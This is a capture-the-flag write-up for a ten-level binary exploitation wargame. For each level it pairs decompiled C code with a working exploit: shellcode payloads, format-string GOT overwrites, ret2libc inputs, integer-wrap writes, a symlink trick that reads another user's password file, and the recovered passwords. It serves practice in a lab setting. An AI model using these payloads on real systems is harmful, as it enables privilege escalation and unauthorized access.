int main()
{
int input;
puts("***********************************");
puts ("-Level00 -");
puts("***********************************");
printf("Password: ");
scanf("%d", &input);
if (input != 5276)
{
puts("Invalid Password!");
return 1;
}
puts("Authenticated!");
system("/bin/sh");
return 0;
}
As we can already see from the source, it compares the input with a predetermined value 5276
to run a shell. This means we should just pass in the password in the stdin and it should already work. The password is uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL
level00@OverRide:~$ ./level00 5276
***********************************
* -Level00 - *
***********************************
Password:5276
Authenticated!
$ pwd
/home/users/level00
$ cat /home/users/level00
cat: /home/users/level00: Is a directory
$ cat /home/users/level01/.pass
uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL
$ ^C
$
static char input_buf[256];
int verify_user_name()
{
puts("verifying username....");
return strcmp(input_buf, "dat_wil");
}
int verify_user_pass(char *input)
{
return strcmp(input, "admin");
}
int main()
{
char buf1[64]; // 92 - 28
int num;
memset(buf1, 0, 16);
num = 0;
puts("********* ADMIN LOGIN PROMPT *********");
printf("Enter Username:");
fgets(input_buf, 256, stdin);
num = verify_user_name();
if (num != 0)
{
puts("nope, incorrect username");
return 1;
}
puts("Enter Password:");
fgets(buf1, 100, stdin);
num = verify_user_pass(buf1);
if (num != 0)
{
puts("nope, incorrect password");
return 1;
}
return 0;
}
Looking at the surface, it looks like guessing the password wont help us acheive our goal. In the buffer to store the password, it looks like fgets is reading more characters than the buf1 can handle, which might be vulnerable to a buffer overflow.
I have found this python program below to help us determine the buffer overflow offset with a pattern, it is like follows.
#!/usr/bin/env python
# https://github.com/Svenito/exploit-pattern/blob/master/pattern.py
import sys
try:
import clipboard
except ImportError:
pass
from string import ascii_uppercase, ascii_lowercase, digits
MAX_PATTERN_LENGTH = 20280
class MaxLengthException(Exception):
pass
class WasNotFoundException(Exception):
pass
def pattern():
for upper in ascii_uppercase:
for lower in ascii_lowercase:
for digit in digits:
yield upper + lower + digit
def pattern_gen(length):
"""
Generate a pattern of a given length up to a maximum
of 20280 - after this the pattern would repeat
"""
if length > MAX_PATTERN_LENGTH:
raise MaxLengthException(
"ERROR: Pattern length exceeds maximum of {0}".format(MAX_PATTERN_LENGTH)
)
result = ""
for p in pattern():
if len(result) < length:
result += p
else:
return result[:length]
# If we end up here we've exhausted all characters so truncate the pattern
return result[:length]
def pattern_search(search_pattern):
"""
Search for search_pattern in pattern. Convert from hex if needed
Looking for needle in haystack
"""
needle = search_pattern
try:
if needle.startswith("0x"):
# Strip off '0x', convert to ASCII and reverse
needle = needle[2:]
needle = bytearray.fromhex(needle).decode("ascii")
needle = needle[::-1]
except (ValueError, TypeError) as e:
raise
haystack = ""
for p in pattern():
haystack += p
found_at = haystack.find(needle)
if found_at > -1:
return found_at
raise WasNotFoundException(
"Couldn`t find {0} ({1}) "
"anywhere in the pattern.".format(search_pattern, needle)
)
def print_help():
print("Usage: {0} [LENGTH|PATTERN]\n".format(sys.argv[0]))
print("Generate a pattern of length LENGTH or search for PATTERN and ")
print("return its position in the pattern.\n")
if __name__ == "__main__":
if len(sys.argv) < 2:
print_help()
sys.exit(0)
if sys.argv[1] == "-h" or sys.argv[1] == "--help":
print_help()
sys.exit(0)
if sys.argv[1].isdigit():
try:
pat = pattern_gen(int(sys.argv[1]))
try:
clipboard.copy(pat)
print("Pattern copied to clipboard: \n")
except NameError:
pass
print(pat)
except MaxLengthException as e:
print(e)
else:
try:
found = pattern_search(sys.argv[1])
print(
"Pattern {0} first occurrence at "
"position {1} in pattern.".format(sys.argv[1], found)
)
except WasNotFoundException as e:
print(e)
sys.exit(1)
except (ValueError, TypeError):
print("Unable to convert hex input for searching. Invalid hex?")
sys.exit(1)
I generated a pattern with the following output and I tried running it in the program. As you can see , the saved EIP for changed after the fgets call.
level01@OverRide:/tmp$ python pattern.py 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
I used the same program to find the position of the offset, and it is at 80 bytes.
level01@OverRide:~$ python /tmp/pattern.py 6Ac7
Pattern 6Ac7 first occurrence at position 80 in pattern.
level01@OverRide:~$
I used a shellcode from the site https://shell-storm.org/shellcode/index.html
and I generated a payload. I also put the shellcode in the environment variable so that it can be jumped to by the saved EIP.
I saved the shellcode in the env like so ;
export SHELLCODE=`python -c "print '\x90' * 100 + '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'"`
Then, I need to get the address of the environment variables for the EIP to jump to. I used the x/s *((char **)environ)
command in GDB and got the following output. As we can see, we have the address to our shellcode. I have added 20 to the final input because gdb has set some env vars that might affect the accuracy of this reading.
(python -c 'print "dat_wil" + "\n" + "B" * 80 + "\x81\xd8\xff\xff"'; cat) | ./level01
PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv
is the password.
int main()
{
FILE *open_passfile;
int read_pass_status;
char username[100]; // 0x70 - 0xc
char pass_file_content[48]; // 0xa0 - 0x70
char pass[112]; // 0x110 - 0xa0
memset(username, 0, 12);
memset(pass_file_content, 0, 5);
memset(pass, 0, 12);
open_passfile = fopen("/home/users/level03/", "r");
if (!open_passfile)
{
fwrite("ERROR: failed to open password file", 1, 36, stderr);
exit(1);
}
read_pass_status = fread(pass_file_content, 1, 41, open_passfile);
pass_file_content[strcspn(pass_file_content, "\n")] = 0;
if (!read_pass_status)
{
frwite("ERROR: failed to read password file", 1, 36, stderr);
exit(1);
}
fclose(open_passfile);
puts("===== [ Secure Access System v1.0 ] =====");
puts("/***************************************\\");
puts("| You must login to access this system. |");
puts("\\**************************************/");
printf("--[ Username:");
fgets(username, 100, stdin);
username[strcspn(username, "\n")] = 0;
printf(" --[ Password:");
fgets(pass, 100, stdin);
pass[strcspn(pass, "\n")] = 0;
puts("*****************************************");
if (strncmp(pass_file_content, pass, 41) == 0)
{
printf("Greetings, %s!", username);
system("/bin/sh");
return 0;
}
else
{
printf(username);
puts("does not have access!");
exit(1);
}
}
Looking from the source, it looks like a buffer overflow may not happen on username of pass since fgets is used to read characters equals to the buffer size, but we can still try to confirm.
# create test input
python -c "print 'B' * 1010 + '\n' + 'A' * 1010" > /tmp/level2
# run program
./level02 < /tmp/level2
As we can see, the program ran without faults
level02@OverRide:~$ ./level02 < /tmp/level2
===== [ Secure Access System v1.0 ] =====
/***************************************\
| You must login to access this system. |
\**************************************/
--[ Username: --[ Password: *****************************************
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB does not have access!
level02@OverRide:~$
I tried thinking of manipulating the user and pass input to just a null byte, but it still compares 41 characters of the open passfile. Since strcspn is new, I went to the manual to find any security warnings; no warings.
However, I noticed in the last few lines printf(username);
was called. This was a direct call to a user input, which leaves us with a string format vulnerability.
To verify this, I ran the program with some new input to test and we have a segfault.
# create test input
python -c "print '%3\$s' '\n' + 'AAAA\n'" > /tmp/level2
# run program
./level02 < /tmp/level2
It could be that its trying to derefrence an invalid address when I supplied the %s
parameter, so I decided to just print out a series on %p
s to get a look at the stack state at this point without the need to derefrence. As we can see, we have the stack contents displayed. And since the contents of the password from the file are pushed to the stack, we should be able to read them eventually. What we are seeing here is the function arguments that are pushed to the stack. It does not show the push
commands in the disassembly, it is pushed after we call the function by lib64
from libc since this program is compiled for 64-bit CPUs, instead, we just move them to specific registers in the program.
level02@OverRide:~$ python -c "print '%p %p %p %p %p %p %p' '\n' + 'A\n'" > /tmp/level2
level02@OverRide:~$ ./level02 < /tmp/level2
===== [ Secure Access System v1.0 ] =====
/***************************************\
| You must login to access this system. |
\**************************************/
--[ Username: --[ Password: *****************************************
0x7fffffffe4f0 (nil) 0x41 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a 0x7fffffffe6e8 0x1f7ff9a08 does not have access!
level02@OverRide:~$
From the surface here, we see some addresses and their contents. Hence, I made a script to automate the parsing of the stack for a number of times.
cat << EOF > /tmp/parse.py
# parse.py
import sys
# read input
input_string = sys.stdin.read()
# split string based on newline
lines = input_string.split('\n')
# get the last string
last_line = lines[len(lines) - 2]
# split by spaces
tokens = last_line.split(' ')
index = 0
for token in tokens:
index += 1
if token == "does" :
break
print(str(index) + ' - ' + token)
EOF
And the script is done, now to run it with our input and we get the results below.
level02@OverRide:~$ python -c "print '%p ' * 30 + '\n' + 'BBBBBBBB'" > /tmp/level2
level02@OverRide:~$ ./level02 < /tmp/level2 | python /tmp/parse.py
1 - 0x7fffffffe500
2 - (nil)
3 - 0x42
4 - 0x2a2a2a2a2a2a2a2a
5 - 0x2a2a2a2a2a2a2a2a
6 - 0x7fffffffe6f8
7 - 0x1f7ff9a08
8 - 0x4242424242424242
9 - (nil)
10 - (nil)
11 - (nil)
12 - (nil)
13 - (nil)
14 - (nil)
15 - (nil)
16 - (nil)
17 - (nil)
18 - (nil)
19 - (nil)
20 - 0x100000000
21 - (nil)
22 - 0x756e505234376848
23 - 0x45414a3561733951
24 - 0x377a7143574e6758
25 - 0x354a35686e475873
26 - 0x48336750664b394d
27 - (nil)
28 - 0x7025207025207025
29 - 0x2520702520702520
30 - 0x2070252070252070
31 -
Now to break it down, we first need to get some visuals on the stack
We are tring to read the stuff in passfile_content
and from the input we gave, the only input which is identifyable is the contents of pass
. Which means, once we see the contents of pass
(which is 'BBBBBBBB'), we will need to go down the stack 0x70 = 112 (base10)
bytes to reach passfile_content
.
If we look at the output, we can see lines 1 to 7 contain values that are pushed by other function calls, which serve no purpose. At line 8 however, we can see BBBBBBBB, which is the start of our pass
variable. Going back to earlier, we will need to go down 112 bytes. Since %p
traverses 8 bytes at a time, and 112 / 8 = 14
, our contents of passfile_content
is at line 8 + 14 = 22
.
I used this tool online to convert the data from hex to string, and reversed it for little endianess and I got the following string Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H
I used Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H
as password for level03 and it worked
void decrypt(uintptr_t init_addr)
{
int var1 = 20; // canary?
int cipher1 = 0x757c7d51; // Q}|u
int cipher2 = 0x67667360; // `sfg
int cipher3 = 0x7b66737e; // ~sf{
int cipher4 = 0x33617c7d; // }|a3
int cipher5 = 0x00000000;
int clear_mask = 0xffffffff;
int cipherlen = 0;
int count = 0;
int xor_res = 0;
int temp = 0;
cipherlen = strlen(&cipher1);
while (count < cipherlen)
{
xor_res = &cipher1[count] ^ init_addr;
&cipher1[count] = xor_res;
++count;
}
if (!strncmp(cipher1, "Congratulations!", 17))
{
system("/bin/sh");
return ;
}
puts("Invalid Password");
}
void test(int pwinput, uintptr_t init_addr)
{
uintptr_t res = init_addr - pwinput;
if (init_addr > 21)
{
decrypt(rand());
}
else {
sub *= 4;
sub += 0x80489f0;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
decrypt(res); return;
}
}
int main()
{
int pwinput;
srand(time(0));
puts("***********************************");
puts("* level03 **");
puts("***********************************");
printf("Password:");
scanf("%d", &pwinput);
test(pwinput, 0x1337d00d);
}
The program takes in a decimal as the password and runs some decryption methods to check for the password. Looking at the code, it seems like we are not going to be doing any overflows since there is an existence of a canary. Hence, we will need to work on the decryption itself.
We noticed that this is a XOR Cipher where every bit in the plaintext is XOR'ed against every bit in a key. It is a good fundamental encryption becase in XOR encryption, It is clear that if nothing is known about the key or plaintext, nothing can be determined from the ciphertext alone.
in a nutshell, our decrypt
function takes in init_addr
, this will be our key. The plaintext in this case is the consecutive bytes in cipher1
to cipher5
.The encrypted text is "Congratulations!"
. The program takes the key as the input an encrypts the plaintext with it to compare if the ciphertext is correct. If it is, we will be able to access shell.
If we look at this table, we can see some basic operations of the XOR cipher. If we have the ciphertext and the plaintext, to get key, we can use plaintext ^ ciphertext
As we can see, using a decoder, the key is 18
for all characters
And since the input needs to be deducted by 0x1337d00d
to get the key, our input should be 0x1337d00d - 0x12(18)
which is 0x1337cffb
or 322424827
in base 10. We are able to get the password kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf
int main()
{
char child_input[136]; // 168 - 32
int pid;
inr wait_status;
int ptrace_res;
pid = fork();
memset(child_input, 0, 32);
ptrace_res = 0;
wait_status = 0;
if (pid == 0)
{
prctl(PR_SET_PDEATHSIG, SIGHUP);
ptrace(PTRACE_TRACEME, 0, 0, 0);
puts("Give me some shellcode, k");
gets(child_input);
return 0;
}
else
{
wait(&wait_status);
if (WIFEXITED(wait_status) || WIFSIGNALED(wait_status))
{
puts("child is exiting");
return 0;
}
if (ptrace(PTRACE_PEEKUSER, pid, 44, NULL) == 11)
{
puts("no exec() for you");
kill(pid, 9);
return 0;
}
}
}
On the surface, this looks like a buffer overflow vulnerability with a gets()
call on a limited size buffer. The catch is, we are unable to call exec()
in the child for the buffer overflow. Which means we have to use other functions like system()
First off, I located the EIP offset with the help of Buffer Overflow EIP Offset String generator To generate the string pattern and matching.
By setting set follow-fork-mode child
in GDB, im able to trace through the fork and obtain the offset as 156
. Since we are using other functions, we have to find the addresses loaded in memory. which is the pointer to the system()
function and the string /bin/sh
. This can be acheived using print system
and find __libc_start_main,+99999999,"/bin/sh"
(find from libc main for 99999999 bytes "/bin/sh").
Our pointer to system()
is 0xf7e6aed0
, our pointer to "/bin/sh" is 0xf7f897ec
.
Hence, we can generate our shellcode like so
python -c "print 'B' * 156 + '\xf7\xe6\xae\xd0'[::-1] + 'BEEF' + '\xf7\xf8\x97\xec'[::-1]" > /tmp/level04
(cat /tmp/level04 ; cat) | ./level04
And we have our password 3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN
level04@OverRide:~$ (cat /tmp/level04 ; cat) | ./level04
Give me some shellcode, k
pwd
/home/users/level04
whoami
level05
cat /home/users/level05
cat: /home/users/level05: Is a directory
cat /home/users/level05/.pass
3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN
int main()
{
int count = 0;
char inputbuf[?];
fgets(inputbuf, 100, stdin);
count = 0;
while(strlen(inputbuf) > count)
{
if (inputbuf[count] <= 64 && inputbuf[count] > 90)
{
++count;
continue;
}
else
{
inputbuf[count] = inputbuf[count] ^ 32;
++count;
}
}
printf(inputbuf);
exit(0);
}
In the last two lines, we see a printf call to user input, which indicates a format string vulnerability. We also noticed that the program calls exit()
and its complete and not return, which means we are enable to overwrite the EIP, and had to overwrite the GOT for exit()
instead.
We also noticed that the program decapitalizes any characters in the input buffer, so that is something to take note of. The first step would be to find the offset of the printf stack address to the contents of the first printf argument. I have made a script to go through the stack to display its contents
cat << EOF > /tmp/test.py
import os
import sys
for i in range(1, 42, 1) :
os.system("echo '' > /tmp/output; echo 'iiii %{}\$p' | /home/users/level05/level05 >> /tmp/output".format(i))
output = open('/tmp/output', 'r').read()
sys.stdout.write("{} - ".format(i))
sys.stdout.write(output[1:])
EOF
python /tmp/test.py
As we can see the contents are at the 10th %p
. This is important because we will be putting our GOT address here to be read, and overwritten using %n
. To locate the GOT address for exit()
, we can check the relocation entries using objdump -R ./level05
and we can see its 080497e0
. So our new input should be pointing to that address and printing it out for now. We also should replace %p
with %hhn
so the system will write to that address on how many bytes we have printed
python -c "print '\x08\x04\x97\xe0'[::-1] + 'B' * 12 + '%10\$hhn'" > /tmp/level05
./level05 < /tmp/level05
As we can see, we have successfully written over the GOT. So we just need to replace this with a pointer to the shellcode, which I will put in the environment variable.
The shellcode will be a simple execve(/bin/sh)
I found here. I will be exporting this in the environment variable and we will be getting the address via GDB. As we can see, our address is 0xffffd85e
but we have a NOP sled, so let make it safer by assuming its 0xffffd87e
export SHELLCODE=`python -c "print '\x90' * 100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"`
With this information, we can now construct our payload like so:
0x080497e0 - d87e (55414 bytes)
0x080497e2 - ffff (10113 bytes from last)
(python -c "print '\x08\x04\x97\xe0'[::-1] + '\x08\x04\x97\xe2'[::-1] + '%55414x' + '%10\$hn' + '%10113x' + '%11\$hn'" ; cat)| ./level05
And we got our password h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq
int auth(char *logininput, unsigned int serial_input)
{
int loginlen;
int count;
unsigned int enc_logininput;
logininput[strcspn(logininput, "\n")] = 0;
loginlen = strlen(logininput);
if (loginlen < 5) return 1;
enc_logininput = (logininput[3] ^ 4919) + 6221293;
if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1)
{
puts("\033[32m.---------------------------.");
puts("\033[31m| !! TAMPERING DETECTED !! |");
puts("\033[32m'---------------------------'");
return 1;
}
count = 0;
while(count < loginlen)
{
// TODO encryption logic here
if (logininput[count] <= 31)
return 1;
int stage1 = logininput[count] ^ enc_logininput;
int stage2 = 0x88233b2b * stage1;
int stage3 = (stage1 - stage2) >> 1;
int stage4 = (stage3 + stage2) >> 10 * 1337;
enc_logininput += (stage1 - stage4);
++count;
}
if (enc_logininput == serial_input)
return 0;
return 1;
}
int main(int argc, char **argv)
{
char logininput[?];
unsigned int serial_input;
puts("***********************************");
puts("* level06 *");
puts("***********************************");
printf("-> Enter Login:");
fgets(logininput, 32, stdin);
puts("***********************************");
puts("* NEW ACOUNT DETECTED *");
puts("***********************************");
printf("-> Enter Serial:");
scanf("%u", &serial_input);
if (!auth(logininput, serial_input))
{
system("/bin/sh");
return 0;
}
return 1;
}
The program prompts the user for two inputs, where it will encrypt / hash the first one to check that if it matches the second. Buffer overflow is protected as there is a canary inside the executable. Our only way to get a shell is to get the first inputs hash correct with the second input.
We can generate a key of our own now since we know the logic, or we could just use GDB and inspect the stack instead. I used gdb and added a breakpoint at 8048866
, which is where the program checks for the output. I used a simple asdfg
input to get the correct encryption by running the program.
Since they have a debugger check, we will use a manual jump to jump over the check itself. We will add a breakpoint before and after the check so that we can manually jump over it without messing up the memory state (break at 80487b5
, jmp to 80487ba
). As we can see, its comparing to the decimal 6229077
cat << EOF > /tmp/level06
ASDFGH
12345
EOF
gdb ./level06
b *0x80487b5
b *0x8048866
lay asm
focus cmd
tty /dev/pts/1
set disassembly-flavor intel
run < /tmp/level06
jump *0x80487ba
x/10d $ebp-0x10
We change our key to 6229077 and it worked, our password is GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8
void clear_stdin()
{
char curr;
while(1)
{
curr = getchar();
if (curr == '\n' || curr == -1)
return ;
}
}
unsigned int get_unum()
{
unsigned int res;
fflush(stdout);
scanf("%u", &res);
clear_stdin();
return res;
}
int store_number( int *meat)
{
unsigned int num_input = 0;
unsigned int idx_input = 0
unsigned int temp1 = 0xaaaaaaab;
printf("Number: ")
num_input = get_unum();
printf("Index: ")
idx_input = get_unum();
idx_input += temp1;
temp1 = temp1 >> 1;
unsigned int temp2 = temp1;
temp2 *= 2;
temp2 += temp1;
unsigned int temp3 = 0xaaaaaaab - temp2;
if(temp3 != 0 || num_input >> 0x18 != 0xb7)
{
meat[idx_input] = num_input;
return 0;
}
puts(" *** ERROR! ***");
puts(" This index is reserved for wil!");
puts(" *** ERROR! ***");
return 1;
}
int read_number(unsigned int *meat)
{
int num_input = 0;
printf("Index: ");
num_input = get_unum() << 2 + meat;
printf("Number at data[%u] is %u, ", num_input, meat[num_input]); // does << 2 + meat implicitly
return 0;
}
int main(int argc, char **argv, char **envp)
{
char **argv_stack = argv;
char **envp_stack = enp;
int op_ret = 0;
char user_cmd[20] = 0; // 4 * 5
int meat[16]; // 64 / 4
memset(meat, 0, 16);
while(argv_stack)
{
memset(*argv_stack, 0, strlen(*argv_stack));
++argv_stack;
}
while(envp_stack)
{
memset(*envp_stack, 0, strlen(*envp_stack));
++envp_stack;
}
puts("----------------------------------------------------\n"\
" Welcome to wil's crappy number storage service! \n"\
"----------------------------------------------------\n"\
" Commands: \n"\
" store - store a number into the data storage \n"\
" read - read a number from the data storage \n"\
" quit - exit the program \n"\
"----------------------------------------------------\n"\
" wil has reserved some storage :> \n"\
"----------------------------------------------------\n"\
"\n");
while(1)
{
op_ret = 1;
printf("Input command: ");
fgets(user_cmd, 20, stdin);
user_cmd[strcspn(user_cmd, "\n")] = 0;
if (!strncmp(user_cmd, "store", 5))
op_ret = store_number(meat);
else if (!strncmp(user_cmd, "read", 4))
op_ret = read_number(meat);
else if (strncmp(user_cmd, "quit", 4))
break;
if (!op_ret)
printf("Completed %s command successfully", user_cmd);
else
printf("Failed to do %s command\n", user_cmd);
memset(user_cmd, 0, 20);
op_ret = 1;
}
return 0;
}
This program allows is to store numbers in an int buffer. During the storing process, there is no check that the index is within the buffers size, they only check if it allowed other constraints such as some mathematical properties on the idx_input
and num_input
.
After some trials, we figurerd that the first constraint in store_number(int )
checks if the index is a not modulo of 3 temp3 != 0
. The second constraint checks if the number input is not 3070230528
. If any of those constraints are true, the number is written into the buffer at meat[index] = input
.
Since they dont do index size checking, we are able to segfault the program if we provide a faulty index.
To determind the offset to the EIP, we try to input a test value and inspect the memory layout of the program.
cat << EOF > /tmp/level07
store
286331153
1
quit
EOF
gdb ./level07
b *0x80486ce
lay asm
focus cmd
tty /dev/pts/0
set disassembly-flavor intel
run < /tmp/level07
As we can see, meat
at index 1 is at 0xffffd548
. And the EIP is at 0xffffd70c
. We are able to overwrite the EIP since the EIP address is > the buffer address. With this , we are able to find the offset which is 70c - 548 = 1C4 or 452 in base 10
.
(gdb) x/10x $eax
0xffffd548: 0x11111111 0x00000000 0x00000000 0x00000000
0xffffd558: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd568: 0x00000000 0x00000000
...
...
(gdb) info frame
Stack level 0, frame at 0xffffd710:
eip = 0x80488ef in main; saved eip 0xf7e45513
Arglist at 0xffffd708, args:
Locals at 0xffffd708, Previous frame's sp is 0xffffd710
Saved registers:
ebx at 0xffffd6fc, ebp at 0xffffd708, esi at 0xffffd700, edi at 0xffffd704, eip at 0xffffd70c
The index we need to write to will be 452 / 4 = 113
. We can test this out
As we can see, we are 4 bytes before the EIP address. However, to actually overwrite the EIP, we need to input as index 114
, which is not allowed by the function.
cat << EOF > /tmp/level07
store
286331153
113
quit
EOF
gdb ./level07
b *0x80486ce
b *0x80488ef
lay asm
focus cmd
tty /dev/pts/0
set disassembly-flavor intel
run < /tmp/level07
To overcome this, we can use alternatives like 2 * (UINT_MAX / 4) + 114
to overflow back to 114
without actually using the number. As we can see, we have successfully overwritten the EIP with our desired value.
cat << EOF > /tmp/level07
store
286331153
2147483762
store
572662306
2147483764
quit
EOF
gdb ./level07
b *0x80486ce
b *0x80488ef
lay asm
focus cmd
tty /dev/pts/0
set disassembly-flavor intel
run < /tmp/level07
Breakpoint 2, 0x080488ef in main ()
(gdb) info frame
Stack level 0, frame at 0xffffd710:
eip = 0x80488ef in main; saved eip 0x11111111
Arglist at 0xffffd708, args:
Locals at 0xffffd708, Previous frame's sp is 0xffffd710
Saved registers:
ebx at 0xffffd6fc, ebp at 0xffffd708, esi at 0xffffd700, edi at 0xffffd704, eip at 0xffffd70c
Since we are able to ovewrite the address now, we should be able to overwrite it to an address which points to shellcode. We will be trying ret2libc for this. We needed the address for the system()
function as well as /bin/sh
. These information should be available in GDB. The address of system()
is 0xf7e6aed0
and the address for "/bin/sh" is 0xf7f897ec
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e6aed0 <system>
(gdb) find &system,+9999999,"/bin/sh"
0xf7f897ec
warning: Unable to access target memory at 0xf7fd3b74, halting search.
1 pattern found.
We can generate our payload like so and able to retreive the password 7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC
cat << EOF > /tmp/level07
store
4159090384
2147483762
store
4160264172
2147483764
quit
EOF
(cat /tmp/level07 ; cat) | ./level07
void log_wrapper(FILE *logfile, char *string, char *inpfile_path)
{
int count = 40;
char dest[?];
strcpy(dest, string);
snprintf(dest + strlen(dest), 254 - strlen(dest) - 1, inpfile_path);
dest[strcspn(dest, "/n")] = 0;
fprintf(logfile, "LOG: %s", dest);
}
int main(int argc, char **argv)
{
int argc_stck = argc;
char **argv_stack = argv;
int count = 48;
char currchar = EOF;
FILE *logfile;
char *prefix = "./backups";
char dest[?];
int backupfile;
if (argc != 2)
printf("Usage: %s filename", argv[0]);
logfile = fopen("/backups/.log", "w");
if (!logfile)
{
printf("ERROR: Failed to open %s", "/backups/.log");
exit(1);
}
log_wrapper(logfile, "Starting back up:", argv_stack[1]);
inputfilestream = fopen(argv_stack[1], "r");
if (!inputfilestream)
{
printf("ERROR: Failed to open %s", argv_stack[1]);
exit(1)
}
strcpy(dest, prefix);
strncat(dest, argv_stack[1], 99 - strlen(dest) - 1);
backupfile = open(prefix, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);
if (backupfile < 1)
{
printf("ERROR: Failed to open %s%s\n", "./backups/", argv_stack[1]);
exit(1);
}
while((currchar = fgetc(inputfilestream)) != EOF)
write(backupfile, &currchar, 1);
log_wrapper(logfile, "Finished back up", argv_stack[1]);
fclose(inputfilestream);
close(backupfile);
return 0;
}
The program has a stack canary implemented, so the approach to overwrite the EIP might not be the way. The program takes a file as an input, reads it character by character, creates a new file in ./backups
and writes it to their own backup files accordingly.
The exploit is quite straightforward, I will need to go to a writable directory, create a soft link to /home/users/level09/.pass
and pass that link as as argument to the binary. The program will create a backup file and write its contents in backups/<linkname>
. The password is fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
level08@OverRide:/tmp/level08$ ln -s /home/users/level09/.pass link1
level08@OverRide:/tmp/level08$ /home/users/level08/level08 link1
ERROR: Failed to open ./backups/link1
level08@OverRide:/tmp/level08$ rm backups/link1
level08@OverRide:/tmp/level08$ /home/users/level08/level08 link1
level08@OverRide:/tmp/level08$ cat backups/link1
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
level08@OverRide:/tmp/level08$
struct my_struct {
char msg[140];
char username[40];
int msglen;
};
void set_msg(struct my_struct* var1)
{
char temp[1024];
memset(temp, 0, 128);
puts(">: Msg @Unix-Dude");
printf(">>: ");
fgets(temp, 1024, stdin);
strncpy(var1->message, temp, var1->msglen);
}
void set_username(struct my_struct* var1)
{
char temp[140]; // 0x90 - 0x4
int count;
memset(temp, 0, 16);
puts(">: Enter your username");
printf(">>: ");
fgets(temp, 120, stdin);
count = 0;
while (count < 41 && temp[count]) {
var1->username[count] = name[count];
count +=1;
}
}
void handle_msg()
{
struct my_struct msg;
memset(msg.username, 0, 40);
msg.msglen = 140;
set_username(&msg);
set_msg(&msg);
puts(">: Msg sent!");
}
int main()
{
puts("--------------------------------------------\n| ~Welcome to l33t-m$n ~ v1337 |\n--------------------------------------------");
return 0;
}
Looking at the code, there may be a chance at overflowing var1->msg
since strncpy(var1->message, temp, var1->msglen);
does not copy the nullbyte over. However, there are no operations after that action so I dont this it affects the program.
However upon closer inspection, I noticed that in set_username
, the while loop is ran 41 times instead of 40, which will cause an overwrite on the first byte of var1->msglen
To verify this, we can look into GDB. As we can see, the first image contains the original value in the rdx register, but the second image shows the overwritten value.
# prep input
python -c "print 'B' * 41 + '\n' + 'i' * 100" > /tmp/level09
# launch gdb
gdb level09
b *0x00005555555549c6
lay asm
focus cmd
tty /dev/pts/1
set disassembly-flavor intel
run < /tmp/level09
Now, if we change rdx to 0xff
or 255, we should be able to overflow the message variable later when we strncpy in set_msg
.
# prep input
python -c "print '\xff' * 41 + '\n' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4'" > /tmp/level09
# launch gdb
gdb level09
b *0x55555555491f
b *0x555555554924
lay asm
focus cmd
tty /dev/pts/1
set disassembly-flavor intel
run < /tmp/level09
We did infact override the EIP, and the offset was 200. Now we add the address of secret_backdoor
and we should be finished.
# prep input
python -c "print '\xff' * 41 + '\n' + 'B' * 200 + '\x00\x00\x55\x55\x55\x55\x48\x8c'[::-1]" > /tmp/level09
# launch gdb
gdb level09
b *0x55555555491f
b *0x555555554924
lay asm
focus cmd
tty /dev/pts/1
set disassembly-flavor intel
run < /tmp/level09
level09@OverRide:~$ (python -c "print '\xff' * 41 + '\n' + 'B' * 200 + '\x00\x00\x55\x55\x55\x55\x48\x8c'[::-1]" ; cat ) | ./level09
--------------------------------------------
| ~Welcome to l33t-m$n ~ v1337 |
--------------------------------------------
>: Enter your username
>>: >: Welcome, �����������������������������������������>: Msg @Unix-Dude
>>: >: Msg sent!
/bin/sh
whoami
end
pwd
/home/users/level09
cat /home/users/end/.pass
j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE
The password for the end user is j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE